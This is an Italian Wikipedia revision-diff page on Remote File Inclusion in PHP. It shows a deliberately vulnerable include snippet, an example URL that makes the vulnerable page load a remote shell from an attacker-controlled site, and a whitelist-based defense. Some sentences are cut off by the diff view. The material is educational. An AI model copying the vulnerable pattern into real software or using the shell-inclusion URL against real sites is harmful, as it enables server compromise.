Remote File Inclusion: differenze tra le versioni
Contenuto cancellato Contenuto aggiunto
m Bot: Aggiungo: sv:Remote File Inclusion |
Funzionalità collegamenti suggeriti: 1 collegamento inserito. |
||
(20 versioni intermedie di 19 utenti non mostrate) | |||
Riga 1:
{{
'''Remote File Inclusion''', o '''RFI''', nell'ambito della [[sicurezza informatica]] indica una [[vulnerabilità informatica|vulnerabilità]] che affligge i servizi [[web]] con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del [[PHP]]. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.
== Codice vulnerabile ==
Riga 6:
Questo è un semplice esempio di un codice vulnerabile:
<syntaxhighlight lang=php>
<?php
$var = $_GET['var'];
include ($var);
?>
</syntaxhighlight>
con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'[[Uniform Resource Locator|URL]]) a piacere si può vedere in azione il bug.
Line 17 ⟶ 19:
== Come funziona l'attacco ==
Se c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una [[shell (informatica)|shell]] in PHP
<nowiki>http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt</nowiki>
da notare che la pagina da includere non deve essere in PHP (perché
==Come difendersi==
In genere quando si deve includere una pagina esterna nella propria [[applicazione web]] si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.
<nowiki>http://miosito.it/index.php?var=1</nowiki>
poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:
<syntaxhighlight lang=php>
<?php
$var = $_GET['var'];
if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
else die('tentativo di intrusione');
?>
</syntaxhighlight>
[[Categoria:Sicurezza informatica]]
|